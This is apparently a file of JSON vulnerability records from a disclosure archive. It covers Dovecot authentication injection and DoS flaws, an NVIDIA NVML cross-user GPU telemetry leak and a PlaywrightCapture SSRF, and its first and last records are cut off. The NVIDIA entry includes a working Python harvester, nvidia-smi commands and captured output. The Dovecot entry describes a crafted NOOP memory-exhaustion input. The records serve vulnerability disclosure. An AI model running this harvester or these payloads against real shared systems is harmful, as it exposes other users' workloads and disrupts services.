2026-03-27\nResearcher credits: cookiejack15@yeswehack\nCVE: CVE-2026-27860\nCVSS: 3.7 (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N)\n\nDetails:\nv2.4/v3.1 regression: auth-ldap is not escaping usernames. If auth_username_chars is empty, it is possible to inject \narbitrary LDAP filter to Dovecot\u0027s LDAP authentication.\n\nRisk:\nThis leads to potentially bypassing restrictions and allows probing of LDAP structure. No publicly available exploits \nare known.\n\nSolution:\nDo not clear out auth_username_chars, or install fixed version.\n\n\n\n---\n\n\n\nInternal reference: DOV-8781\nType: CWE-89 (Improper Neutralization of Special Elements used in an SQL Command (\u0027SQL Injection\u0027))\nComponent: core\nReport confidence: Confirmed\nSolution status: Fixed by vendor\nLast affected revision: OX Dovecot Pro core 3.1.0, OX Dovecot CE core 2.4.0\nFirst fixed revision: OX Dovecot CE core 2.4.3, OX Dovecot Pro core 3.1.4\nDiscovery date: 2026-02-23\nSolution date: 2026-03-27\nDisclosure date: 2026-03-27\nResearcher credits: whisperer@yeswehack\nCVE: CVE-2026-24031\nCVSS: 7.7 (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:L)\n\nDetails:\nv2.4/v3.1 regression: SQL injection allows bypassing authentication. Dovecot SQL based authentication can be bypassed \nwhen auth_username_chars is cleared by admin.\n\nRisk:\nThis vulnerability allows bypassing authentication for any user and user enumeration. No publicly available exploits \nare known.\n\nSolution:\nDo not clear auth_username_chars. If this is not possible, install latest fixed version.\n\n\n\n---\n\n\n\nInternal reference: DOV-8787\nType: CWE-400 (Uncontrolled Resource Consumption)\nComponent: core\nReport confidence: Confirmed\nSolution status: Fixed by vendor\nLast affected revision: OX Dovecot Pro core 3.0.2, OX Dovecot Pro core 3.1.0, OX Dovecot CE core 2.4.0\nFirst fixed revision: OX Dovecot Pro core 3.0.5, OX Dovecot CE core 2.4.3, OX Dovecot Pro core 3.1.4\nDiscovery date: 2026-02-24\nSolution date: 2026-03-27\nDisclosure date: 2026-03-27\nResearcher credits: djvirus@yeswehack\nCVE: CVE-2026-27859\nCVSS: 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L)\n\nDetails:\nv3.0.2+ regression: Message headers MIME parameter parsing can cause excessive CPU usage. A mail message containing \nexcessive amount of RFC 2231 MIME parameters causes LMTP to use too much CPU.\n\nRisk:\nA suitably formatted mail message causes mail delivery process to consume large amounts of CPU time. No publicly \navailable exploits are known.\n\nSolution:\nUse MTA capabilities to limit RFC 2231 MIME parameters in mail messages, or upgrade to fixed version where the \nprocessing is limited.\n\n\n\n---\n\n\n\nInternal reference: DOV-8816\nType: CWE-400 (Uncontrolled Resource Consumption)\nComponent: core\nReport confidence: Confirmed\nSolution status: Fixed by vendor\nLast affected revision: OX Dovecot Pro core 2.3.0\nFirst fixed revision: OX Dovecot Pro core 3.0.5, OX Dovecot CE core 2.4.3, OX Dovecot Pro core 3.1.4, OX Dovecot Pro \ncore 2.3.22.1\nDiscovery date: 2026-02-27\nSolution date: 2026-03-27\nDisclosure date: 2026-03-27\nResearcher credits: whisperer@yeswehack\nCVE: CVE-2026-27857\nCVSS: 4.3 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L)\n\nDetails:\nimap-login: Excessive memory usage DoS. Sending \"NOOP (((...)))\" command with 4000 parenthesis open+close results in \n~1MB extra memory usage. Longer commands will result in client disconnection. This 1 MB can be left allocated for \nlonger time periods by not sending the command ending LF. So attacker could connect possibly from even a single IP and \ncreate 1000 connections to allocate 1 GB of memory, which would likely result in reaching VSZ limit and killing the \nprocess and its other proxied connections.\n\nRisk:\nAttacker could connect possibly from even a single IP and create 1000 connections to allocate 1 GB of memory, which \nwould likely result in reaching VSZ limit and killing the process and its other proxied connections. No publicly \navailable exploits are known.\n\nSolution:\nInstall fixed version, there is no other remediation.\n\n\n\n---\n\n\n\nInternal reference: DOV-8818\nType: CWE-400 (Uncontrolled Resource Consumption)\nComponent: core\nReport confidence: Confirmed\nSolution status: Fixed by vendor\nLast affected revision: OX Dovecot Pro core 2.3.0, OX Dovecot Pro core 3.1.0, OX Dovecot CE core 2.4.0\nFirst fixed revision: OX Dovecot Pro core 3.0.5, OX Dovecot CE core 2.4.3, OX Dovecot Pro core 3.1.4, OX Dovecot Pro \ncore 2.3.22.1\nDiscovery date: 2026-02-28\nSolution date: 2026-03-27\nDisclosure date: 2026-03-27\nResearcher credits: ilyar@yeswehack\nCVE: CVE-2026-27858\nCVSS: 7.5 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)\n\nDetails:\nmanagesieve-login out-of-memory DoS. Attacker can send a specifically crafted message before authentication that causes \nmanagesieve to allocate large amount of memory.\n\n\nRisk:\nAttacker can force managesieve-login to be unavailable by repeatedly crashing the process. No publicly available \nexploits are known.\n\nSolution:\nProtect access to managesieve protocol, or install fixed version.\n\n\n\n---\n\n\n\nInternal reference: DOV-8830\nType: CWE-287 (Improper Authentication)\nComponent: core\nReport confidence: Confirmed\nSolution status: Fixed by vendor\nLast affected revision: OX Dovecot Pro core 2.3.0\nFirst fixed revision: OX Dovecot Pro core 3.0.5, OX Dovecot CE core 2.4.3, OX Dovecot Pro core 3.1.4, OX Dovecot Pro \ncore 2.3.22.1\nDiscovery date: 2026-03-04\nSolution date: 2026-03-27\nDisclosure date: 2026-03-27\nResearcher credits: bksparajuli@yeswehack\nCVE: CVE-2026-27856\nCVSS: 7.4 (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N)\n\nDetails:\ndoveadm: Credentials verified without timing safety. Doveadm credentials are verified using direct comparison which is \nsusceptible to timing oracle attack. An attacker can use this to determine the configured credentials.\n\nRisk:\nFiguring out the credential will le"
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-1250",
              "description": "CWE-1250",
              "lang": "en",
              "type": "CWE"
            },
            {
              "cweId": "CWE-20",
              "description": "CWE-20",
              "lang": "en",
              "type": "CWE"
            },
            {
              "cweId": "CWE-200",
              "description": "CWE-200",
              "lang": "en",
              "type": "CWE"
            },
            {
              "cweId": "CWE-22",
              "description": "CWE-22",
              "lang": "en",
              "type": "CWE"
            },
            {
              "cweId": "CWE-287",
              "description": "CWE-287",
              "lang": "en",
              "type": "CWE"
            },
            {
              "cweId": "CWE-294",
              "description": "CWE-294",
              "lang": "en",
              "type": "CWE"
            },
            {
              "cweId": "CWE-400",
              "description": "CWE-400",
              "lang": "en",
              "type": "CWE"
            },
            {
              "cweId": "CWE-89",
              "description": "CWE-89",
              "lang": "en",
              "type": "CWE"
            },
            {
              "cweId": "CWE-90",
              "description": "CWE-90",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-11T11:15:21Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Mar/13"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Mar/13"
        },
        {
          "url": "https://documentation.open-xchange.com/dovecot/security/advisories/html/2026/oxdc-adv-2026-0001.html"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Mar/13"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "Dovecot Security Advisory OXDC-2026-0001",
      "x_gcve": [
        {
          "recordType": "reference",
          "relationships": [
            {
              "destId": "CVE-2025-30189",
              "type": "related"
            },
            {
              "destId": "CVE-2025-59028",
              "type": "related"
            },
            {
              "destId": "CVE-2025-59031",
              "type": "related"
            },
            {
              "destId": "CVE-2025-59032",
              "type": "related"
            },
            {
              "destId": "CVE-2026-0394",
              "type": "related"
            },
            {
              "destId": "CVE-2026-24031",
              "type": "related"
            },
            {
              "destId": "CVE-2026-27855",
              "type": "related"
            },
            {
              "destId": "CVE-2026-27856",
              "type": "related"
            },
            {
              "destId": "CVE-2026-27857",
              "type": "related"
            },
            {
              "destId": "CVE-2026-27858",
              "type": "related"
            },
            {
              "destId": "CVE-2026-27859",
              "type": "related"
            },
            {
              "destId": "CVE-2026-27860",
              "type": "related"
            }
          ],
          "vulnId": "GCVE-1988-2026-0235",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Mar/13",
            "automated": true,
            "contentSha256": "cd1c4fc48637eb40c941400f57d5835f8f7b88c32c348352184aedfe5768d08a",
            "evidenceScore": 9,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Mar/13",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-03-27T08:06:15Z"
          }
        },
        {
          "recordType": "advisory",
          "vulnId": "gcve-1988-2026-0235"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-08T08:13:41Z",
    "dateUpdated": "2026-09-11T11:15:21Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0235"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "Linux GPU",
          "vendor": "Nvidia",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Abhinav Agarwal"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "NVIDIA Linux GPU driver - cross-UID GPU process telemetry disclosure via NVML\n============================================================================\n\nOn a multi-user Linux GPU host where mutually untrusted users can open\nthe same /dev/nvidia* devices - the driver\u0027s default mode is 0666 - an\nunprivileged user can enumerate another user\u0027s GPU processes and\nper-process GPU telemetry through standard NVML management APIs. NVML\ndirectly returned the foreign PID, the per-process GPU-memory\nallocation and the SM utilization; nvidia-smi additionally displayed\nthe process path, but the corresponding direct\nnvmlSystemGetProcessName() call was not captured. Measured on one\nconfiguration: A100, MIG off, bare metal, two local UIDs. No root, no\ngpu/video/render group membership, no capabilities, no CUDA context of\nthe attacker\u0027s own, no performance counters, no injected traffic, no\nrace. The attacker learns, for processes belonging to other users:\nPID, per-process GPU memory allocation, per-process SM utilization,\nand - via nvidia-smi - the binary path. Read-only workload metadata;\nno GPU memory contents are read. NVIDIA reviewed the finding and\ndetermined it is expected behavior.\n\nAffected: NVIDIA Linux GPU driver, NVML management plane\nTested: 595.71.05-open; core channels also reproduced on 565.57.01-open\nHardware: A100-SXM4-80GB x4, NV4 full mesh, no NVSwitch, MIG off\nPlatform: Ubuntu 24.04, kernel 6.8.0-106, CUDA toolkit 12.9\n(driver-reported runtime 13.2)\nCWE: CWE-200 (exposure of information to an unauthorized actor),\nCWE-862 (missing authorization)\nStatus: Closed by NVIDIA as expected behavior. No fix. Public\ndisclosure authorized by NVIDIA PSIRT 2026-08-20.\nCVE: none assigned\nRef: Intigriti NVIDIA-W5AB0FZR\nCompanion: \"NVIDIA Linux GPU driver: unprivileged Xid 31 MMU fault via\nundocumented peer-teardown ordering\" - same node, same driver, same\n0666 precondition\n\n\nRoot Cause\n----------\n\nTwo independent facts compound.\n\n(a) /dev/nvidia* is mode 0666 by driver default. This is set by the\nkernel module, not by a site udev rule.\n\n# grep -E \u0027ModifyDeviceFiles|DeviceFileMode|RmProfilingAdminOnly\u0027\n/proc/driver/nvidia/params\nModifyDeviceFiles: 1\nDeviceFileMode: 438\nRmProfilingAdminOnly: 1\n\n438 decimal is 0666 octal. ModifyDeviceFiles: 1 means the module\nrewrites existing device files to match its own defaults, so an\nadministrator who tightens the mode out-of-band can have it reverted\non module reload. The vendor sources agree: open-gpu-kernel-modules\ncarries NV_DEFINE_REG_ENTRY(__NV_DEVICE_FILE_MODE, 0666) in\nkernel-open/nvidia/nv-reg.h with the comment \"The default mode is 0666\n(octal, rw-rw-rw-)\", and the driver README \"Device files\" section\ndocuments UID 0 / GID 0 / Mode 0666 as the default, adding \"Existing\ndevice files are changed if their attributes don\u0027t match these\ndefaults.\"\n\n(b) NVML management APIs apply no UID, cgroup, or capability check to\na caller holding that file descriptor. Any opener receives the\nnode-wide management view.\n\n+------------------+ +-------------------+\n| victim uid 1000 | | attacker uid 1011 |\n| CUDA workload | | no groups, Cap=0 |\n+--------+---------+ +---------+---------+\n| |\n| open(2) /dev/nvidia* (0666) | open(2) /dev/nvidia* (0666)\nv v\n+-----------------------------------------------------------------------+\n| nvidia.ko -\u003e NVML management plane |\n| |\n| nvmlDeviceGetComputeRunningProcesses() -\u003e ALL pids, ALL uids |\n| nvmlDeviceGetProcessUtilization() -\u003e ALL pids, ALL uids |\n| ^ |\n| +--- no ownership check anywhere on this path|\n+-----------------------------------------------------------------------+\n\nNVML already has the concept of privilege-gating this exact call -\njust not in ordinary shared-GPU mode. From nvml.h, on both\nnvmlDeviceGetComputeRunningProcesses_v3 and\nnvmlDeviceGetMPSComputeRunningProcesses_v3:\n\n\"In MIG mode, if device handle is provided, the API returns aggregate\ninformation,\nonly if the caller has appropriate privileges.\"\n\nSo under MIG, process enumeration through the physical-device handle\nis privilege-gated. Outside MIG there is no corresponding UID\nownership boundary. Relatedly, nvmlDeviceGetComputeRunningProcesses_v3\ndocuments NVML_ERROR_NO_PERMISSION in its return list and does not\nreturn it here; nvmlDeviceGetProcessUtilization and\nnvmlDeviceGetMPSComputeRunningProcesses_v3 do not document that error\nat all.\n\nNote RmProfilingAdminOnly: 1 in the same params output. The CUPTI\nperformance-counter plane IS gated behind CAP_SYS_ADMIN on this exact\nnode - that gate was added as the fix for CVE-2018-6260. The NVML\nper-process management plane received no equivalent gate. That\nasymmetry is the finding.\n\n\nAttacker Prerequisites\n----------------------\n\nA shell account on the node. The observer used for all captured runs:\n\nuid=1011(victimuser) gid=1011(victimuser) groups=1011(victimuser)\n\nCapInh: 0000000000000000 -\u003e NONE\nCapPrm: 0000000000000000 -\u003e NONE\nCapEff: 0000000000000000 -\u003e NONE\nCapAmb: 0000000000000000 -\u003e NONE\nCapBnd: 000001ffffffffff\n\nNo sudo. Not in sudo/wheel/admin/docker/video/gpu/render.\nNo Docker socket. Cannot load kernel modules. Cannot ptrace other\nusers\u0027 processes.\n\n\nProof of Concept\n----------------\n\nVictim, uid 1000 - any long-running CUDA workload. The captured runs\nused nccl-tests all_reduce_perf on GPUs 2 and 3. Anything holding a\nCUDA context works; this needs only pytorch:\n\npython3 -c \"import torch,time\nx=torch.randn(8192,8192,device=\u0027cuda\u0027)\nwhile True: x=x@x.clamp(-1,1); torch.cuda.synchronize(); time.sleep(0.01)\"\n\nAttacker, uid 1011, via the shipped CLI:\n\nnvidia-smi --query-compute-apps=pid,process_name,used_gpu_memory\n--format=csv,noheader\nnvidia-smi pmon -c 3\nnvidia-smi nvlink -gt d\n\nThat first command, run by an unprivileged user with no group\nmembership, is the entire exploit. Everything below is the same read\nstraight through NVML. Captured output as uid 1011 against the uid\n1000 victim:\n\npid, process_name, used_gpu_memory [MiB], gpu_uuid\n77977, /usr/local/bin/all_reduce_perf, 2288 MiB,\nGPU-7d4392e5-96fd-7c8d-5dd4-113663cc7278\n77977, /usr/local/bin/all_reduce_perf, 2288 MiB,\nGPU-fe44d319-939f-d747-de55-6802405cad8d\n\nFull PoC code, harnesses and raw evidence for both findings:\n\u003chttps://www.google.com/url?q=https://github.com/abhinavagarwal07/nvidia-gpu-security-poc\u0026source=gmail\u0026ust=1787513712074000\u0026sa=E\u003e\n\nStraight through NVML with no nvidia-smi involved. This is the complete exploit:\n\n#!/usr/bin/env python3\n# unprivileged cross-UID GPU telemetry harvester\n# run as any local user: python3 harvest.py\n# pip install nvidia-ml-py (provides the `pynvml` module; the standalone\n# `pynvml` PyPI package is a deprecated shim as of v12)\nimport os, pwd, pynvml\n\ndef owner(pid):\ntry: return os.stat(\"/proc/%d\" % pid).st_uid\nexcept: return None\n\ndef exe(pid):\n# Tries NVML first. NOTE: this direct call was not verified cross-UID here -\n# see the note below the output. Falls back to cmdline, never to exe.\ntry:\nn = pynvml.nvmlSystemGetProcessName(pid)\nreturn n.decode() if isinstance(n, bytes) else n\nexcept Exception:\n# /proc/\u003cpid\u003e/cmdline is world-readable - this is how ps(1) shows other\n# users\u0027 command lines. /proc/\u003cpid\u003e/exe is NOT: readlink on it needs\n# PTRACE_MODE_READ, which this attacker does not have.\ntry: return open(\"/proc/%d/cmdline\" % pid,\"rb\").read().split(b\"\\0\")[0].decode()\nexcept: return \"?\"\n\ndef owner_name(u):\ntry: return pwd.getpwuid(u).pw_name\nexcept KeyError: return str(u) # no passwd entry: LDAP, containers\n\npynvml.nvmlInit()\nme = os.getuid()\nfound = 0\nfor i in range(pynvml.nvmlDeviceGetCount()):\nh = pynvml.nvmlDeviceGetHandleByIndex(i)\n\n# cross-UID process table + per-process GPU memory\nfor p in pynvml.nvmlDeviceGetComputeRunningProcesses(h):\nu = owner(p.pid)\nif u is not None and u != me:\nfound += 1\nprint(\"[CROSS-UID] gpu=%d pid=%d uid=%d(%s) mem=%dMiB exe=%s\" % (\ni, p.pid, u, owner_name(u),\n(p.usedGpuMemory or 0) \u003e\u003e 20, exe(p.pid)))\n\n# cross-UID per-process SM / memory-controller utilization.\n# arg 2 is lastSeenTimeStamp in microseconds; only samples newer than it are\n# returned, so a small constant drains everything the driver still buffers.\ntry:\nfor pu in pynvml.nvmlDeviceGetProcessUtilization(h, 1000000):\nu = owner(pu.pid)\nif u is not None and u != me:\nprint(\"[CROSS-UID-UTIL] gpu=%d pid=%d uid=%d sm=%d%% mem=%d%%\" % (\ni, pu.pid, u, pu.smUtil, pu.memUtil))\nexcept pynvml.NVMLError as e:\n# NVML_ERROR_NOT_FOUND here means the driver\u0027s sample buffer is empty,\n# NOT that the call is gated. Poll for a few seconds and retry.\nprint(\" nvmlDeviceGetProcessUtilization -\u003e %s\" % e)\n\n# device-global telemetry, no gate at all\nprint(\"[DEV] gpu=%d power=%.1fW util=%d%% mem_used=%dMiB\" % (\ni, pynvml.nvmlDeviceGetPowerUsage(h)/1000.0,\npynvml.nvmlDeviceGetUtilizationRates(h).gpu,\npynvml.nvmlDeviceGetMemoryInfo(h).used \u003e\u003e 20))\n\nif not found:\nprint(\"no cross-UID GPU processes visible (is a victim workload running?)\")\n\nOutput:\n\n[CROSS-UID] gpu=2 pid=77977 uid=1000(cc) mem=2288MiB\nexe=/usr/local/bin/all_reduce_perf\n[CROSS-UID] gpu=3 pid=77977 uid=1000(cc) mem=2288MiB\nexe=/usr/local/bin/all_reduce_perf\n[CROSS-UID-UTIL] gpu=2 pid=77977 uid=1000 sm=97% mem=41%\n\nNVML supplies the PID and the GPU memory figure. The binary path came\nfrom nvidia-smi --query-compute-apps=process_name, which is\nNVML-backed and returned the full path /usr/local/bin/all_reduce_perf\nto the unprivileged observer - that output is captured. The direct\ncall, nvmlSystemGetProcessName(), is what the PoC above uses and it is\nNOT something I captured cross-UID; NVML documents\nNVML_ERROR_NO_PERMISSION for it, so verify it on your own host rather\nthan taking it from me. The captured harness resolved names through\n/proc. Note that /proc/\u003cpid\u003e/exe is not readable cross-UID, so if you\nfall back to procfs use /proc/\u003cpid\u003e/cmdline, not exe. The only field\nprocfs is needed for is the owning UID, via stat() on /proc/\u003cpid\u003e.\n\nPolling nvmlDeviceGetProcessUtilization in a loop yields a per-victim\nSM utilization time series. What that supports on the evidence here is\nbusy-versus-idle and job start/stop. Finer structure - step cadence,\nphase boundaries - is plausible but was not demonstrated, and I do not\nclaim it.\n\nResults: 5/5 positive sessions with all seven machine-scored success\ncriteria passing, and 2/2 negative controls (no victim workload, no\ncross-UID records) confirming the signal tracks the victim. For every\ncompute-app row root could see, the unprivileged observer saw a\nmatching row - same PID, same binary name, same GPU - in all five\npositive sessions. That comparison is field-level (whitespace and row\norder normalized, process name compared by basename), not a byte diff.\nAll channels leak with GPU accounting mode disabled, which is the\nfresh default, so this is not a case of an administrator having\nenabled accounting.\n\n\nTelemetry Channels\n------------------\n\nChannel NVML API CLI Result\n----------------------------- ---------------------------------------\n---------------------- --------------------------\nProcess PID nvmlDeviceGetComputeRunningProcesses --query-compute-apps\nLEAKS (redundant with ps)\nBinary path nvidia-smi\u0027s NVML-backed query --query-compute-apps LEAKS\n(captured); direct\n(nvmlSystemGetProcessName NOT captured) NVML call unverified\nPer-process GPU memory nvmlDeviceGetComputeRunningProcesses\n--query-compute-apps LEAKS - GPU-specific\nPer-process SM utilization nvmlDeviceGetProcessUtilization pmon LEAKS\n- GPU-specific\nNVLink Tx/Rx counters NVML_ERROR_NOT_SUPPORTED on this driver nvlink\n-gt d LEAKS via CLI - prior art\nNVLink topology / remote PCI nvmlDeviceGetNvLinkRemotePciInfo nvlink LEAKS\nDevice power/clocks/util nvmlDeviceGetPowerUsage et al. -q LEAKS (device-global)\n\n\nImpact\n------\n\nA low-privileged tenant on a shared HPC or AI node passively monitors\nco-tenants in real time: who is running GPU work, which binary, the\nGPU memory footprint (a model-size proxy), the SM utilization timeline\n(training and idle cadence, step rate, job boundaries), and NVLink\npair activity (distributed job topology).\n\nNo computation content is read - no weights, a"
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-200",
              "description": "CWE-200",
              "lang": "en",
              "type": "CWE"
            },
            {
              "cweId": "CWE-276",
              "description": "CWE-276",
              "lang": "en",
              "type": "CWE"
            },
            {
              "cweId": "CWE-862",
              "description": "CWE-862",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-11T11:52:12Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/77"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Aug/77"
        },
        {
          "url": "https://github.com/abhinavagarwal07/nvidia-gpu-security-poc"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://www.google.com/url?q=https://github.com/abhinavagarwal07/nvidia-gpu-security-poc\u0026source=gmail\u0026ust=1787513712074000\u0026sa=E"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Aug/77"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "NVIDIA Linux GPU driver: cross-UID GPU process telemetry via NVML, no CVE (vendor: expected behavior)",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0082",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/77",
            "automated": true,
            "contentSha256": "eda9b97373cfa1b602256c1f71b15efde5a40742aa2d77e5e851378506b0282e",
            "evidenceScore": 8,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Aug/77",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-08-22T19:37:52Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-07T13:20:21Z",
    "dateUpdated": "2026-09-11T11:52:12Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0082"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "PlaywrightCapture",
          "vendor": "LookyLoo",
          "versions": [
            {
              "lessThan": "1.39.6",
              "status": "affected",
              "version": "0",
              "versionType": "semver"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "remediation developer",
          "value": "Raphael Vinot"
        },
        {
          "lang": "en",
          "type": "finder",
          "value": "Jeroen Gui"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "supportingMedia": [
            {
              "base64": false,
              "type": "text/html",
              "value": "\u003cp\u003ePlaywrightCapture did not sufficiently restrict navigations and resource requests initiated by rendered pages. An attacker-controlled page could abuse browser-side redirection mechanisms, such as \u003ccode\u003ewindow.location.href\u003c/code\u003e, to make the capture process open \u003ccode\u003efile://\u003c/code\u003e URLs or request resources hosted on private, loopback, link-local, or otherwise non-public IP addresses.\u003c/p\u003e\n\u003cp\u003eIn deployments where PlaywrightCapture processes untrusted URLs, this could allow a remote attacker to perform server-side request forgery against internal services or attempt to access local files from the capture environment. Depending on what capture artifacts are generated and exposed, responses from those resources could potentially be leaked through screenshots, saved page content, logs, or other capture outputs.\u003c/p\u003e\n\u003cp\u003eThe patch mitigates the issue by introducing request routing checks that block secondary requests to local files, non-global IP addresses, and \u003ccode\u003e.local\u003c/code\u003e domains when \u003ccode\u003eonly_global_lookup\u003c/code\u003e is enabled, while still allowing the originally requested capture URL.\u003c/p\u003e\u003cbr\u003e"
            }
          ],
          "value": "PlaywrightCapture did not sufficiently restrict navigations and resource requests initiated by rendered pages. An attacker-controlled page could abuse browser-side redirection mechanisms, such as window.location.href, to make the capture process open file:// URLs or request resources hosted on private, loopback, link-local, or otherwise non-public IP addresses.\n\n\nIn deployments where PlaywrightCapture processes untrusted URLs, this could allow a remote attacker to perform server-side request forgery against internal services or attempt to access local files from the capture environment. Depending on what capture artifacts are generated and exposed, responses from those resources could potentially be leaked through screenshots, saved page content, logs, or other capture outputs.\n\n\nThe patch mitigates the issue by introducing request routing checks that block secondary requests to local files, non-global IP addresses, and .local domains when only_global_lookup is enabled, while still allowing the originally requested capture URL."
        }
      ],
      "impacts": [
        {
          "capecId": "CAPEC-664",
          "descriptions": [
            {
              "lang": "en",
              "value": "CAPEC-664 Server Side Request Forgery"
            }
          ]
        }
      ],
      "metrics": [
        {
          "cvssV4_0": {
            "Automatable": "NOT_DEFINED",
            "Recovery": "NOT_DEFINED",
            "Safety": "NOT_DEFINED",
            "attackComplexity": "LOW",
            "attackRequirements": "NONE",
            "attackVector": "NETWORK",
            "baseScore": 9.3,
            "baseSeverity": "CRITICAL",
            "privilegesRequired": "NONE",
            "providerUrgency": "NOT_DEFINED",
            "subAvailabilityImpact": "HIGH",
            "subConfidentialityImpact": "HIGH",
            "subIntegrityImpact": "HIGH",
            "userInteraction": "NONE",
            "valueDensity": "NOT_DEFINED",
            "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:H/VA:N/SC:H/SI:H/SA:H",
            "version": "4.0",
            "vulnAvailabilityImpact": "NONE",
            "vulnConfidentialityImpact": "LOW",
            "vulnIntegrityImpact": "HIGH",
            "vulnerabilityResponseEffort": "NOT_DEFINED"
          },
          "format": "CVSS",
          "scenarios": [
            {
              "lang": "en",
              "value": "GENERAL"
            }
          ]
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-918",
              "description": "CWE-918 Server-Side Request Forgery (SSRF)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        },
        {
          "descriptions": [
            {
              "cweId": "CWE-200",
              "description": "CWE-200 Exposure of Sensitive Information to an Unauthorized Actor",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "orgId": "00000000-0000-4000-9000-000000000000"
      },
      "references": [
        {
          "tags": [
            "patch"
          ],
          "url": "https://github.com/Lookyloo/PlaywrightCapture/commit/49e289eba756e4fbac1322c33cfd111411562405"
        }
      ],
      "source": {
        "discovery": "UNKNOWN"
      },
      "title": "LookyLoo - PlaywrightCapture permits access to local files and internal network resources during page capture",
      "x_gcve": [
        {
          "recordType": "advisory",
          "vulnId": "gcve-1-2026-0028"
        }
      ],
      "x_generator": {
        "engine": "Vulnogram 0.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "00000000-0000-4000-9000-000000000000",
    "datePublished": "2026-04-29T19:28:00.000Z",
    "dateUpdated": "2026-04-29T19:28:44.316023Z",
    "requesterUserId": "00000000-0000-4000-9000-000000000000",
    "serial": 1,
    "state": "PUBLISHED",
    "vulnId": "GCVE-1-2026-0028",
    "vulnerabilitylookup_history": [
      [
        "alexandre.dulaunoy@circl.lu",
        "2026-04-29T19:28:20.659212Z"
      ],
      [
        "alexandre.dulaunoy@circl.lu",
        "2026-04-29T19:28:44.316023Z"
      ]
    ]
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.1"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "Security Advisory",
          "vendor": "Dovecot",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Aki Tuomi"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
